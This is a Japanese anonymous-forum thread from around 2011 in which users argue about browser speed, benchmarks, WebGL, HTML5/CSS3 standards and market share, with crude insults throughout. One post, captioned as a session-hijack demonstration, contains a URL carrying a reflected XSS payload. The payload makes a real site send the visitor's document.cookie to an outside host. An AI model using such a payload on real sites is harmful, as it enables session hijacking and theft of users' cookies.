WebGLなんて貼ってドヤ顔したつもりが、指摘されて顔真っ赤なんですね。
わかります。

頑張って書いたんですね。

>>645
というより、MSが標準みたいなｗ

一番シェアの高い製品が採用した規格=標準

>>646
馬鹿かｗよく読んでおけｗ
>HTML5 が正式に規定している規格とは異なるグループが策定しているが、
>WebGL は HTML5 のほぼ必須機能と考えられてる、オープンな標準規格だよ

WebGLが、特定のブラウザに依存しない、オープンな標準規格なのに、
＞特定のブラウザ依存の規格は標準じゃないんだよ。（>>630）
って勘違いしていて、顔真っ赤なのはお前だろｗｗ

どうせ、IE が WebGL に対応したら、どや顔するんでしょ。わかりますｗ

MSは成功すためには、デファクト・スタンダードを確立する事だと言ってるし
今までは圧倒的なソフトのシェアで支配してきたが、
インターネットの世界は圧倒的なシェアを取れ無かったから、支配することは出来なかったな

確かに IE は 9 になるまでは
「ブラウザの速度で１００分の１秒とか競って何の意味があるの？」
とか言ってたのに、IE9 になって他のブラウザに追いついた途端に
「IE軽くなった。他のブラウザおせえええ。」
ってドヤ顔してるな。
Direct2D/DirectWrite 使ってるサイトのパフォーマンス測って
IE厨がドヤ顔しているのはよく見た光景。

俺に取ってはIE厨というもの自体が極めてまぶしくみえるけどな。

IE9はRTMいれてもうちの環境だとメモリリークが結構あるみたいなんだよな@Vista64bit
サイドバーガジェットも動かしてるおかげか1日で1GBくらい喰ってるし。

GPUのベンチと同じで定番ベンチだけチューニングして
好スコア競う様になるの目に見えるなｗ

最近はGoogleの暴走が酷いからな
WebMのゴリ押しとか

Flashの時代が永遠に続くよりはいいじゃないか。
どのみちH.264でまとまる可能性はなかったんだしさ。

脆弱だらけのFlashいつまでも押し付けられても迷惑だしな

とかいってたら数年後にHTML5の脆弱性問題が取りざたされてたりしてな

>>655
WebMの方がいいだろ
未来を見ろよ

>>651
＞「ブラウザの速度で１００分の１秒とか競って何の意味があるの？」

今は逆にChrome使いが「Chromeの速度でも実用上は問題ない」とか言ってるよ
それを言ったらFirefoxでも問題ないけど

>>660
「ようやく　IE9 が追いついた。」とか、「まだ Chrome の方が速いよ。」てのは聞くけど、
「Chrome で実用上問題がない」とかはあまり聞かないな。

実際世代違いのブラウザはともかく同じ世代なら速度なんて割とどうでもいいけどな
この５大ブラウザの最速と最遅で比べても
ブラウザ速度なんて殆どの場合トータルの作業時間に１割も影響与えてないでしょ

FireFoxは画像が多いサイト開くとき異様に遅いよ
下手すると他のブラウザの倍位かかる
作業効率悪すぎ

http://www.4gamer.net/specials/enchant/bench/

末尾のスコアが多きいほど高速で動作
■Windows 7 x64 Core i3-M350/2.27GHz GeForce 310M■
Internet Explorer 9（ver.9.0.8112.16421） 12590
Google Chrome（ver.10.0.648.204） 8121
Mozilla Firefox（ver.4.0.1） 4189
Safari（ver.5.0.5 build 7533.21.1） 4749
Opera（ver.11.10 build 2092） 1070
iPhone 4 543
HTC Desire 1859
■Windows 7 x64 Core2duo/2.66Ghz 460GTX■
Internet Explorer 9（ver.9.0.8112.16421） 13820
Google Chrome11 6921
Mozilla Firefox4 3989

■OSX v10.6 Core-i5 2.5GHz■
Google Chrome 11 2984
■OSX v10.6 Core2Duo 2GHz■
Google Chrome 11 2057

確かに、現時点ではスピードの影響はは殆ど無いのかもしれない
だけどね、これからWebアプリ等がどんどん進化していくだろう、そのためにはスピードが重要になるだろう
スピードだけじゃなくて他の性能も進化していかないといけない、それにはブラウザどうしが競争していくことが必要じゃないかな

http://www.4gamer.net/specials/enchant/bench/
■OSX v10.6 Core-i5 2.5GHz■
Google Chrome 11
スコア2984
■OSX v10.6 Core2Duo 2GHz■
Google Chrome 11
スコア2057
■OSX v10.6 Quad-Core IntelXeon 2x2.8Ghz ATI-HD2600■
Firefox 4.0.1
スコア4657
■OSX v10.6 Core-7 2.8GHz ATI-HD4850■
Firefox 4.0.1
スコア4036
■OSX Intel Core-i5 2.53 GHz GT330M■
Firefox 4.0.1
スコア5147
■OSX Intel C2D 3.06GHz GF8600■
Firefox 4.0.1
スコア3564

>>666
OSX Intel C2D 2.4GHz GT320M ので
Google Chrome 11 のスコアが4800
Firefox 4.01 のスコア 5050 いくぞ？

何でそんなスコア悪いの？
裏で余計なプロセス常駐させすぎじゃね。

>>667
ああ、スコアが悪い理由は、たぶん最高解像度で最大化して撮ってるからじゃね？
新Mac板の集計だから信頼性は高いと思う。
メインのi7のゲームPCで1920x1440で撮ってみた結果はこれ
http://i.imgur.com/Mbn6S.png
■Win7 Intel C2D 2.6Ghz
IE 9.0.8112
Score 16179
Display 1920x1440

>>668
なるほど。確かにウチのモニタは解像度低いわ。納得した。

単に enchantベンチ？ が IE に最適化してるだけだろ。
そんなマイナーな Javascript でベンチマーク測ってどうすんだ？
てか、2Dドローしている時点で、Javascript の速度だけを測ってるわけじゃないでしょ。
どう見ても Direct2D/DirectDraw の GPU支援の影響かと。

IE9 のJavascriptエンジンはまだまだ遅いって。

＜Javascriptベンチマークサイト御三家＞−−−−−−−

ttp://v8.googlecode.com/svn/data/benchmarks/v3/run.html
（スコアが高い方が性能が高い）

ttp://www.webkit.org/perf/sunspider/sunspider.html
（タイムが低い方が性能が高い）
　＊ちなみに、IE9 は、ここのベンチマークを基準に新Javascriptエンジンを開発した。
　で、他ブラウザに比べ圧倒的な性能を魅せつける→ハッカー達によって、チート発覚→
　ベンチマーク側が更新→真の実力計られちゃった／(^o^)＼

ttp://krakenbenchmark.mozilla.org/
（タイムが低い方が性能が高い）
−−−−−−−−−−−−−−−−−−−−−−−−−
がんばれよ。IE9。
特定環境（Direct2D/DirectDrawが有効利用出来る環境））
では最速になるのは分かってるから。Nightly とかで既に抜かされてるけどｗ
てか、IE9が速いって言い張る人って、バカの一つ覚えで
Direct2D/DirectDraw が有効に働くのしか見せない（見えてないのか？）よね。

>>670
Enchatベンチは、ゲーム向けの機能を利用したベンチマークだから、ただ計算式をぶん回すタイプのベンチマークより現実的かと。

計算能力の高いPS3が、平均点の高いXbox360に勝てないみたいな感じだね

>>671
2Dゲームは、ボードゲーム（オセロとか将棋とか）か、ショボイ2D ゲームしかできないでしょ。
それだったら、結局そんなに2Dグリグリ動かすような場面はあまり出てこないのよ。
60fps 出せれば十分すぎるゲームが多くなるので、実用面ではあまり問題にならない。

パフォーマンス上問題が起こるとすれば、3Dゲームや、複雑な 2Dゲームになるわな。
こっちはそれなりに性能を求められる。
特に本格的な 3D ゲームとなると、まだどのブラウザも絶対的な性能が足りない。
けどそういう場合は、Canvas2D 使わずに、3D の方使うのが普通になるから、
結局直接ハードを叩ける webGL とかの出番になる。
例えば
ttp://www.chromeexperiments.com/detail/tankworld/?f=webgl
とか、quakeII, III プロジェクトとか。

結論を言うと、実際的なゲームベンチとしても　enchant は不適切。
なぜなら、そんなに enchant の対象としているゲーム自体、
2D 描画の負荷のかかるようなゲームを想定していないから。（アクション/シューティングでも60fpsでれば十分）
enchant の想定外の、複雑な描画が必要になるゲームをつくろうとする人達は、
結局WebGL などを活用することになるし。

>>672
いや、IE9の性能が高いっつーのは、Direct2D/DirectDraw の GPU支援が効く場面だけだって。

WebGL みたいな高機能・高品質なゲームとかの場面だと、
描画に関しては直接ハード叩くことになって、ゲームエンジン部分は、JavaScript の性能のみが
影響するので、IE9 の出る幕は今のところないよ。そもそも描画すら出来ない。
JavaScript の性能がまだ Chrome 達に追いついていないことはご存知の通り。

まぁ、別に IE が出来ない子じゃないと思うから、
（ていうか、現状 Windows 依存のゲーム部門を、Web に移行させたくないという大人な理由だｗ）
ブラウザのシェアーが取られてしまう可能性があれば、いずれ対応すると思うけどねｗ

>>674
3DゲームならIEでやる必要ないじゃんｗ
普通にローカルでゲーム起動すれば良い。

>3DゲームならIEでやる必要ないじゃんｗ普通にローカルでゲーム起動すれば良い。

>>675
なるほどっ！！目からウンコじゃ！！
今までそんなこと全く思いつかなかった
御ぬし只者ではないな

歓喜のあまり思わずレズをしたくなった

大がかりなゲームをWebで完結させるメリットは無い
どうせローカルに巨大なキャッシュを置かないと駄目なんだから
素直にインストールする方がいい

ブラゲーで最強に重いやつってどれくらいなんだよ

>>675
まだ Google の狙いわかってないんだなw

基本、WebGL がターゲットとしているのは、
デスクトップ市場がメインじゃなくて、
これから大きくハード台数が伸びると考えられている
スマートフォンやタブレットなんだよ。特にスマートフォンね。

スマートフォン・タブレット市場はいずれ Android の独擅場になるため、
Google は強力に推し進めているわけ。
それを、MS は非常に嫌がってんのよｗ

WebGL 自体、最新のゲームが出来る環境にはないが、
ユーザーが 3D を扱うには、十分なだけの性能があるし、
スマートフォンが扱う 3D としても、丁度いいくらいでしょ？

だから、携帯・スマートフォン・タブレット市場をターゲットにしている
今現在、ゲーム業界が色々興味津々で見ている状態。
スマホ等では、windows phone のシェアはカスみたいなもんだから、
デスクトップ市場とは逆に、無視できるわけ。
IE なんてそもそもないって話なのよｗ

デスクトップで、クライアントで動かせば良い、っていうのは、
一定の意味では、キミのいうのが正しい。

ただし、実はデスクトップのゲームよりも、モバイルゲーム市場の方が
美味いことが判明してきているので、Google とかはそこあたり
狙ってるってことね。既にAndroid は WebGL レディだし。

それと、デスクトップ側からの観点から見ると、一般的な3D利用の用途や、
ゲームデベロッパー側から見れば、補助アプリ的な場面で使えるかもしれないって感じかね。

>>679
どう考えてもGoogleとMSの狙いがわかった上で
確信犯的にIEマンセーしてる社畜系だろ。
もちろんこのスレだから、そういう意見もあっていい。

最速IE9は、WindowsPhone7にも搭載予定だね。

最速()笑
WindowPhone7 ()笑

>>682
()笑というのがどういう意味なのか教えてもらえないか？

PCのベンチマークの大定番　3DMark で有名な
FutureMark の作ったブラウザベンチマークサイトでスコアを比較してみよう！

http://clients.futuremark.com/peacekeeper/index.action

Microsoft や Google, Firefox のサイトのベンチマークよりは信頼がおけるし。

で、どれが一番早いのよ

>>685
>>684 で自分の目で確かめろ。

そもそもiPhoneのHTML5がカスだからブラウザで3Dゲームを作るデベロッパーはいないよ
普通にアプリで作ってそれぞれの機種向けに配信でしょ

iPhoneさえ無視すればHTML5でもそこそこいけるとは思うが、
それでもブラウザにさせる仕事では無いな
アプリではなくブラウザでやらないといけない理由が無いから
http://www.youtube.com/watch?v=a98L6uorAiE&feature=player_detailpage#t=119s

なんと言われようがfirefox

>>688
まだ IE9 より速いみたいだから何も問題ない。

Firefoxはいろいろ入れていくと、どんどん遅くなるからな〜


Mozilla、Firefoxの「遅いアドオンのランキング」公表
http://internet.watch.impress.co.jp/docs/news/20110404_437327.html

Firefoxのアドオンは必須。起動は遅くてもいい
エロ巡り専用のOpera、普段使いのSafari
そしてChromeはSafariとキャラがかぶるからイラネ

>>690
IE9 もだろ。

>>692
IE9は、遅くなるプラグインを常時監視している。
少しでも遅くなると、このアドオンが0.4秒動作を遅くしているけど止めますか？　と聞いてくる。

ん？

>>693
そんなこと言われたくらいで外すアドオンなら最初から入れるなっていう。

>>693
それは分かってるけど、それ言ったらプラグイン導入できなくね？ｗ
ていうか、あの警告かなりアホだよねｗ

どの程度遅くなってるのか統計とってくれればいいだけなんだがな
それがわかりやすく閲覧できるなら、そっちの方がいい
スピード云々よりもアドオンの使い勝手の方が優先するのが普通だし

>>696
導入しなければいい。
Flash、Silverlight、それ以外で必要なプラグインがあるかい？

>>697
IE9は統計データも表示できるよ。
自分の環境でコンマ何秒処理を使ってるのかまで詳細を一覧表示できる。

コンマ何秒とか、どうやって測ってんだろう
PCの時計だと1/10秒とか測れるほど正確じゃないし、それに秒単位でしか取得出来ないんじゃなかったかな

エクセルのマクロでも100分の１秒まで取得できるのに、何故できないと思うんだ？
もしかしてJavascriptとかでの話？

ざっとググったが、マイクロ秒からナノ秒（！）オーダーでも計測できるらしいぞ
なんかすげえ

胸が熱くなって参りました

タイムを測るには何らかのハードが必要になるでしょ
それを、コンピュタ言語が取得するってこと、言語は関係ないっしょ
調べたらCPUのクロック周波数とか使ってるのね、
前はPC内蔵の時計で秒単位でしか取得出来なかったと記憶していたもので、そう思ったんだよ
調べもせず、書いてゴメンね

クローム厨ってなんで俺が一番だみたいに威張ってるの？
ブックマークがポップアップとかマジ終わってるだろ

>>705
よくつかうサイトはツールバーにアイコンだけ登録
それだけでも３０以上入るだろ
滅多に行かないサイトを常に表示するのは無駄だから
ポップアップで充分だしＵＲＬ入力する所で入力したほうが
アクセスが早い

よく使うのは30個未満だが
たまに一斉チェックする場合や管理する時ポップアップ式が不便すぎる
30個(アイコンのみ)でしか常に表示できませんじゃ
ライトユーザーしか満足しないよ

ライトユーザーはYahooだけ使えればおk

>>707
ブックマークマネージャ開いて
別窓にしたらいいだけじゃん

>>709
不便すぎワロタ

まぁ一斉にチェックするのもポップアップで不便しないし
ブックマークのエクステンションもあるし
複数のPC使ってると既に持ってるgoogleアカで
ブックマークやら設定やらが同期出来るのが良い

まぁ君の意見はそうとして
サイドバーに常に表示できるかできないかは、結構重要な要素だよ
一個開いたら閉じちゃうブックマークじゃねー

Chromeに移るまでサイドブックマークスタイルだったが
オレには別に必要じゃなかったってだけだな。
Firefoxは別に否定はしないよ。
多くの人はブックマークなんて１０前後登録しといて
必要な時にブックマーク検索するかぐぐれば済む話

ググって出るようなサイトなんて最初からブックマークせんよ

なんでFirefoxの話になってるんだろうなぁ〜

＞多くの人はブックマークなんて１０前後登録しといて
これどこソースよ
そんなんだからライトユーザーにしか受け入れられないんだってばよ

１０前後登録ってのはブックマークバーの話な
なんせサイドバーをずっと開く必要のあるやつなんて
全体的には少数派だよ

ソースは仕事先で回ったPCと知り合いのPC

分かったよこれがクロム厨なんだな
話題に出した俺が馬鹿だった忘れてくれ

ブックマーク10前後はChrome厨とやらでも異常なほうだろ

Google Chromeはライトユーザーが多い
多いだけならいいが、こいつらがChrome使ってる俺は情強みたいな
アピールしまくってるのが気に入らないしね

ＩＥ６使ってるやつは今すぐしね

IE6使ってるやつ死ななくてもいいからネットワーク上から消えろ

IE9にシェアを喰われるのは、主にChromeなんだろうな
Fxユーザーは機能的にIEに満足できないだろうし
Operaはそもそも喰われるシェアがn(ry

でもま、常用するブックマークは、俺もスピードダイヤルに
登録してる20前後がせいぜいだわ
サイドバーはブックマークのためだけにあるわけじゃないから
それがない時点でChromeをメインには使えないけど

履歴見るのにいちいちサイドバー使ってるの・・・？

俺？
メインがOperaだから、いろんなことにサイドバーを使ってるけど

みんなサイドバーひらきっぱなしなの？

>>724
例えば？

>>726
ダウンロード情報とか、ﾂｲｯﾀｰとか、Opera独自のメモとか、メールクライアントとか
便利だよ

>>722
http://gs.statcounter.com/#browser-JP-daily-20100501-20110501

これ見ると食われてるのはFireFoxが多いみたいだけど？

>>727
全部ブラウザでやる必要性がわからない。
専用クライアントのほうが楽だし使いやすい。

>>728
http://gs.statcounter.com/#browser_version-ww-monthly-201004-201104
まだIE9が反映されてない？
ただ、喰われるとしたらFirefoxからっていうのは、同意せざるを……

>>729
そう思うんならそれでいいんじゃね？

>>730
これChromeのグラフ作る人色足りるかなｗｗｗ
Chromeのバージョンの移行グラフがスムーズすぎてわろたｗ

ＩＥ６・・・しねっ

>>731
強制アップデートだからな

Operaつて不思議なブラウザだね。俺は他のブラウザのバグ等見つけると
頭にきてつかえねーなこの糞がと思うが、Operaだと何故か応援したくなり
次の期待が膨らむ何故だろう

>>722
Chromeが食われるはずないじゃん。
IE9 に変えて何かよくなるのか？

Firefoxはバージョン上がるたびにアドオンが使えなくなって使いたけりゃちょっといじれよってスタンスが治れば戻りたい

セッションハイジャック

あなたのブラウザは大丈夫？
http://www.sonyproductinformatie.nl/main/search.php?searchfield=%3Cimg%20onerror=location.href=%26quot;http://jp.opera.com/?%26quot;%2bdocument.cookie;%20src=http://google.com%3E&x=19&y=20

IE9ヤバイ。IE9の文字間隔･互換モード･DOCTYPE宣言について
ttp://freesoft.tvbok.com/tips/net_tips/ie9_doctype.html

おれはＷｅｂデザインをしないからわからないけど大変そうだね
ネット初心者が見るような雑誌でＩＥ以外を推奨する運動でも起こせないのか・・・

問題あるサイトをみたことないよ

>>737
IE9がより標準に歩み寄った結果そうなった
それで表示がおかしくなるのはIE(8以前)に最適化して作っていた側の問題
他のブラウザのユーザを無視していたツケが回ってきただけ
最初からW3C勧告にそった作りであれば何の問題もない

たいした問題じゃない。

Opera以外のブラウザはJavaScript実行中に画面が応答しなくなる。
Opera最強伝説でござる。

Opera最強神話 by RAGNAROK NEXT

最強かどうかは知らんが
結局メインで使えるのはＦｘかOperaの２択だわな

FireFox4
は糞過ぎで使用中止にしました

これ使って思ったことはやる気が無いのか技術力が内科のどちらかですね

起こったことすら具体的に書かない奴は使う奴が糞だと思ってたのは正しかった

やる気も技術力もあるが
方向性が間違ってるんだろう多分

>>670
V8→Chrome11
Sunspider→IE9
Kraken→Firefox4.0

全部提灯

Firefoxのシェア見てると
アドオンの為に古い狐のままのやつが結構いる
このあたりIEと同じ臭いがすんな

>>743
オペラはメインで使えない
シェアが証明してる

>>749
なるほどシェア率最強のＩＥをメインにするんですね

Opera厨が鬱陶しい

>>751
負けてるからだろ

情強のメインブラウザはこういう感じ

IE6→IE7→Firefox3.0→IE8→Chrome4→IE9

情強のメインブラウザはこういう感じ

IE6→IE7→Firefox3.0→IE8→Chrome4〜10→IE9

漢は黙ってAmaya

情強ってか状況に流されてるだけの阿呆

俺はこうなってる
IE3→NC4.x→N6→NC4.x→N6.1→(略)→N7.1→Firefox1.x→(略)→Firefox4.x

IE4→IE5→IE5.5→Donut→Moon→Opera→DonutQ→Firefox3x→Firefox3x & Chrome→Firefox4 & Iron

>>757
N7.1あたりが渋いなｗ
俺も使ってたわｗ

仕事がウェブデザインだから必然的に昔からIEメインだわ

シェアうんぬんより、どのパソコンにもＩＥが入ってるからっていうのが理由
コーディング時もＩＥを最初に準拠する。

Donutのころ上司緊急回避ステルス機能つきのやつお世話になりまくったわ・・・
その後はSleipnir1→2→火狐→黒目
すれぷなついな、今ページ見たらＩＥ９対応とか言ってる

>>747
お前どこの国の人なの？ｗ
V8 → Chrome11
Sunspider → Chrome11
Kraken→ Chrome11

多分、Sunspider と　Kraken は、数値高いのを「いい」と勘違いるよｗ

JavaScript だけでなく、総合的に速度をベンチマークしたい人向け。

PCのベンチマークの大定番　3DMark で有名な
FutureMark の作ったブラウザベンチマークサイトでスコアを比較してみよう！

http://clients.futuremark.com/peacekeeper/index.action

>>760
間違いなくこいつが Webデザイナーじゃない件。
もしくは相当無能かどっちか。

Webデザイナーなら、基本全部入ってるだろｗ
今では、Firefox と Chrome , Safari で確認しないと、絶対仕事なんて無理。
Firefox, Chrome だけでも　シェア 20%以上, 10%以上 で合わせて 30%以上 あるんだから。

ついでに言うと、IE は 9 が出たところでシェアは順調に下がっていってる。
世界規模で見れば、既にシェアは50% 切ってる。
ttp://gs.statcounter.com/#browser-ww-daily-20100501-20110501
2011/05/01 では、
IE: 42.15%,
Firefox: 30.12%
Chrome: 19.91%
Safari: 5.22%
Opera: 1.92%

最後に、↓
ttp://gs.statcounter.com/#browser-JP-daily-20100501-20110501　（日本）
ttp://gs.statcounter.com/#browser-US-daily-20100501-20110501　（アメリカ）
「IE9使ってみました！けどやっぱり戻しました！」みたいな？
Chrome から乗り換えが多い、とか言っている奴がいたが、Firefox から乗り換えが多いぽいな。

>>765
もし本物のWebデザイナーだとしたら、他のブラウザどころか
IEの新バージョンの普及すら妨げてる存在の１人だわな。

ああ、でも「メイン」って言ってるだけだから
一応他ブラウザも動作確認用には使ってるのかな

>>763
SunSpider　IE9 ＞ Chrome11
Kraken　IE9 ＞ Chrome11

だけどｗ

Chromeはマンカス以下

>>768
俺は
SunSpider IE9 << Chrome11
Kraken IE9 < Chrome 11
だな。

原因わかったぽい。
多分Chrome11 の方が速いという奴（俺も含め）は、
IE9 を　x64 の方をインストールしている可能性が高い。
IE9 x64 だと、格段に遅い。　IE9 x32 だとちょっとだけ　Sunspider では速い。
てか、チート騒ぎがあったが、実際そうなんじゃないのか？ｗ

参考
ttp://antivirus.server-ing.com/2011/04/29/757/

ま、どちらにせよ、Chrome 最速ってことだな。

64Bitネイティブにもっと力入れてくれよ
本来32Bitより速いはずだろ。

>>765
もちろん、ぜんぶで確認するよｗ
その上でIEがメインだと言ってるんだが、もしかして文盲か？

未だに　IE8　メインなのか。
仕事柄仕方ないのかもしれないが、可哀想に。

>>774
いや、IE９メインで互換モード使ってる。

で？

仕事ではどうせ全部確認するし、基本的にメインが何かなんて関係ないな。
強いて言えば、今盛り込まれてるエクスペリエンスを逃さないよう、普段使いはWebKit系が好ましい。

最近はIEを捨て置いて使えるプロパティがどんどん使われてるし、常にソースを確認するわけじゃないから
IEを使っていると、気付かぬ内に「IEなり」のスタイルを見せられてる確率が高い。

>>777
ないない。
まだ「仕様が確定していないHTML5」を率先して取り込んでるWebkitに合わせるのはナンセンスだと思う。
Webkitが提案した仕様がそのままW3Cに取り込まれるかどうかはわからないし
最終的になくなる機能があるかもしれない。それを後から無くして同様の機能を再現とかやってられない。

IEは、パソコンを乗り換えれば純増するので、１年半後にはシェア最大のIE8からIE9へ以降し、IE9か、IE10がシェアを取るだろうね。
7のSP1を最初から搭載してるPCは、IE9が標準になるだろうし、Windows7以降はIE9→IE10への強制アップデートが来ると思う。

W3Cの提唱するHTML5の確定要素だけ使えるIE9に合わせてサイトを作っていけば問題ない。

>>778
エクスペリエンスと聞いてCSS3に繋がらないのは、仕事をしていない証拠。
そして、どういうさじ加減で使われているか想像出来ないから

>>それを後から無くして同様の機能を再現とかやってられない

なんて言っちゃうわけ。
みなバンバン使ってます。どういう風に使われているかはよく勉強する事。

最終的にどれだけ多くの人にちゃんと見てもらえるかが大事だよね。

>>779
それは詭弁だよ。

こういう>>780
先行プロパティを使う=多くの人にちゃんと見てもらえなくなる
というのは、非制作者の典型的な空論なんだよね。
実際に、どういうプロパティがどういう部分でどういう風に使われているか知らないから、詭弁とか言ってしまう。

なので「IEなり」のスタイルを見せられている、という意味もまるで分かってない。

別に仕事した事がなくても、ちょっとでもコーディングしてみた事のある人間なら解ることなのよ…
marginのバグを考慮しないのは致命的だけど、linear-gradientが効かなくても問題ないの。

webkiｔにあわせる必要もないけどなｗ
Chromeとかを標準にしたいというならともかく
使いにくいからメインにはできないがねｗ

>>782
あれだけレスからそれだけ妄想を広げられるとはｗ
もしかして、脳が電波でも受信してるのか？

そもそもブラウザによって見え方が違うのは好ましくないからweb製作者ならまずはIEだと思うんだがｗ
次が狐、そしてwebkit、Operaの順番だろ

WebKitに合わせるべきだなんて誰も言ってないよね。

デスクトップに限れば-mozでもいいけど、モバイルへの流用を考えれば
仕事を加味して「強いて言えば」、どうせならWebKitで見える世界で普段見ておくのが好ましいなという事。
どうせ全部確認するのだから、仕事に関わらずメインはなんでもいいという話。

今後、モバイルブラウザの主流がWebkitになるとは思えないけどな

webデザイナーって仕事がよくわからんのだが・・・
クライアントから依頼されてwebページ作る仕事って認識でおk？
この認識であってるなら普及率が高いブラウザとクライアントから指定されたブラウザできちんと表示されてりゃいいんじゃねーの？
教えてエロい人

【ブラウザ】今度はGoogle Chrome？　SNEIがWebkitエンジニアを募集中。 PlayStation-CSブログ/ウェブリブログ
http://blog.playstation-cs.jp/201105/article_30.html


W3C、ブラウザー上でのリアルタイムコミュニケーション実現に向け規格策定へ -INTERNET Watch
http://internet.watch.impress.co.jp/docs/news/20110509_444285.html

>>今度はGoogle Chrome？　SNEIがWebkitエンジニアを募集中
GoogleTVを採用した時点で当然でしょう

>>785
今も昔も変わらず、IEでの見え方を確保した上での話なの。
>>782で言った事に尽きるわけだけど、実際に携わらないと解らん話なのかね…

>>790
お前のまわりがそうだったから他もそうだとはかぎらんだろ。

>>790
今も昔も変わらずクライアントの要望が最優先だろう
打ち合わせの段階でどのブラウザで見れればいいか
幾らでやればいいか
機能と値段の釣り合い次第だろうに

「Opera」次期バージョンのテスト版「Opera Next」を公開
ttp://www.forest.impress.co.jp/docs/news/20110509_444286.html

スピード
クローム≧ie9≧ファイアフォクス

拡張性
ファイアフォクス>クローム∞ie９（Youtubeを周りを暗くして見易くする事すら出来ない

機能
クローム（インスタント検索やPDF表示）≧ie9（win7との連携）＝ファイアフォクス

特典
クローム（YoutubeやGoogleMAPが速くなるのは神）＞ie9＞ファイアフォクス

>>794
スピード　Ｏｐｅｒａ≧クローム

機能(拡張性)　Ｆｘ＞クローム

特典(笑)

IE9の登場でWindowsではChrome終了。

chromeはPDFと砂箱だけだな

>>778
＞まだ「仕様が確定していないHTML5」を率先して取り込んでるWebkitに合わせるのはナンセンス
業界の常識から逸脱してるよね。
ていうか、流行（プログレッシブ・エンハスメント）に取り残されている感じか。

同じ理屈で、
「仕様が確定していないCSS2.1」を率先して取り込んでいる今時の全てのブラウザに合わせるのは
ナンセンスだと思うって思ってるんだろな（笑）

>>798
興奮しすぎだぞｗ

>>798
何をどう書こうと世の中の95％以上のサイトは、IE向けに作られている。
だからIEを使うという考えは間違ってないんじゃないかね。

>>801
>95％以上のサイトは、IE向けに作られている。
そんなはずないでしょ。Firefox や Chrome で見て
崩れるようなサイトは殆ど無い。
たまにあるけど、それは IE 9 でも表示は崩れる。
おいおい、大丈夫か？

>>802
無知すなぁ
ウェブデザイナーは基本的にIE基準で作ってるよ

>>803
ていうか、無知はアンタだろ。
最近のサイトだと、IEだけ特別処理いれてるから、
表示崩れる可能性があるとすれば、IE の方だよ。
（IE6〜9 まで全部対応しきれていないサイトは多い。）
お前本当にWebデザイナーなの？

はいはいつまんない煽りだなー
じゃあお前もwebデザイナーなんですかー？

Webデザイナーだったら自分のブログ晒すべきじゃね？

Googleサービス自体使わないからなぁ
検索も最近はbingとヤフーを使う時が増えた

有名だけど、IE9 の表示がヤバい件。
ttp://freesoft.tvbok.com/tips/net_tips/ie9_doctype.html

bingとかyahooは同じ語句を検索すると
Googleと比べ表示がワンテンポ遅くなる。
利便さ云々はおいといて速さはやっぱGoogle系がいい。

デザイナーではないが、案件に触れる機会が多い者として
Firefox対応は明記された案件を見た事はあるが、
Chromeについては記載されていないケースが殆どだな
まあSafariに対応してれば大体同じに表示されるのかもしれないが

WebページというよりHTAで作って欲しいというオーダーから
IEのみを対象とするケースはあるね

>>809
Googleは入力中にも検索始めちゃってるようなもんだからなあ…

>>808
これはYahoo側の怠慢だと思うんだが

>>792
当たり前だろ…面倒くさい奴だな。

http://ie.microsoft.com/testdrive/Graphics/CSSGradientBackgroundMaker/Default.html
これとか

各ブラウザが自分勝手な事するから
どのブラウザでも同じように見えるようにするために
同じ意味のコードを複数書かなければならない

いや、この程度当然でしょｗ
textshadowもgradientも書けば済むだけで、IE6の対応を考えたら屁でもないわ

>>812
XHTML1.0 全般で表示が崩れるのは、
IE9 の不具合。

>>814
勝手な事じゃなくてそれがHTML5の策定プロセスじゃなかった？
少なくとも二つ以上の実装例が無いとHTML5の仕様として採用されない
ベンダプレフィックスが付いてるのは実装例を作るための先行実装だから
仕様が変わるかも知れないし採用されないかも知れない

http://samples.msdn.microsoft.com/ietestcenter/

IE9最高ｗ

text-shadowとgradientを実装してくれるだけで
デザインの幅もやりがいも増えるんだけどなあ
自分の趣味サイトはIE捨てて書いてるからいいけど
ほんともどかしい

>>819
IE用にDHTMLを使えよｗ
シャドウもグラデーションも使えるぞ。

ちくしょう

お前らに衝撃的事実を教えておいてやろう。

ttp://gs.statcounter.com/#browser-eu-daily-20100501-20110501

ヨーロッパでは、既にシェアが、 Firefox ＞　IE だ。

>>822
アフリカワロタ
ものすごい勢いでIEは勢力を落とし、FxとChromeに代わられてる
そしてOperaとSafariの安定感もパネェｗ

ヨーロッパとアフリカ以外、FireFoxもシェア落ちてるじゃん。
世界全体でもIEと同じく下降線。
伸びてるのChromeだけ

Chromeってホントに速い？
俺のPCだとホームページ表示するのFirefox並みに遅く感じるんだけど…
なんか設定いじるのか？

>>825
詳細スペック欲しいな
CPU
GPU
メモリー
OS

クロームは重くてはやい
けして軽くはない

>>826
CPU　　　　Corei5-760
GPU GeForce GTS250
メモリー 4GB
OS Win7 Pro

>>828
やっぱりそうか。うちもほぼ同世代のマシンだけどXPだとChromeは、早いけど
７で起動するとChromeおせーってなる。
IEが最速。
最終的に他のブラウザを全部削除した状態にして「裏で帯域」を使われないようにしてる。

>>829
やっぱそうなのか
しかしメインにはしてないけどIE9最速はガチだな

>>828
Chromeはプロセス細分化して大量にタスク発生するね
マルチコアに相性が良いように思えるんだけど何故か重い

CPU：Corei7 930
GPU：HD5870
RAM：6GB
OS：Win7x68
SSD

うちの環境での起動速度は
IE9が最速 次がFirefox4でChrome11が一番遅い。まあどれも2秒以内なので気にならんけど

ページの切替えはChromeは何故か表示した後でバックグラウンドで何かのタスクが動いてて気持ち悪い

単純に性能や使い勝手って意味ではChromeは今はファーストチョイスにならんと思うがね
宣伝だろうなぁ、やはり
どこでも「ダウンロードしますか」だから
特に海外のサイトでは多い

一時期のFirefoxも凄かった。山手線CMはビビった。
なんでオプソなのに金を垂れ流してるのかと。
結局宣伝というか露出度の反映なんだよな。シェアは。
このスレの住民みたいに全部使ってみるひとなんて一握りだし。

Chrome 使ってて重いとか感じたことないけど。
PDFファイルかなんか開いてんじゃね？

IE9 より全然軽い。IE9 は、１個目のタブ開く時のみ軽い。
ていうか、MSは IE なしバージョンの windows 作ってくれないかなぁ。

ttp://www.itmedia.co.jp/news/articles/1105/10/news023.html
Chrome自慢のセキュリティとやらもこの程度か
やはりOpera最強

>>834
アンインストールできるのに何言ってんの？あんた馬鹿か？
さっさとアンインストールしろ(笑)
プログラムの追加と削除からウィンドウズの機能の追加と削除あたりにあるんだが
つかＩＥのみの環境が一番プロセス少ないし帯域使われないし安定する。
ＩＥのみが一番だよ。

がんばるなぁ

>>835
珍しいねぇ。というか、VUPENすげーとしか言いようがない。
ttp://www.vupen.com/demos/VUPEN_Pwning_Chrome.php

一応一部引用すると、
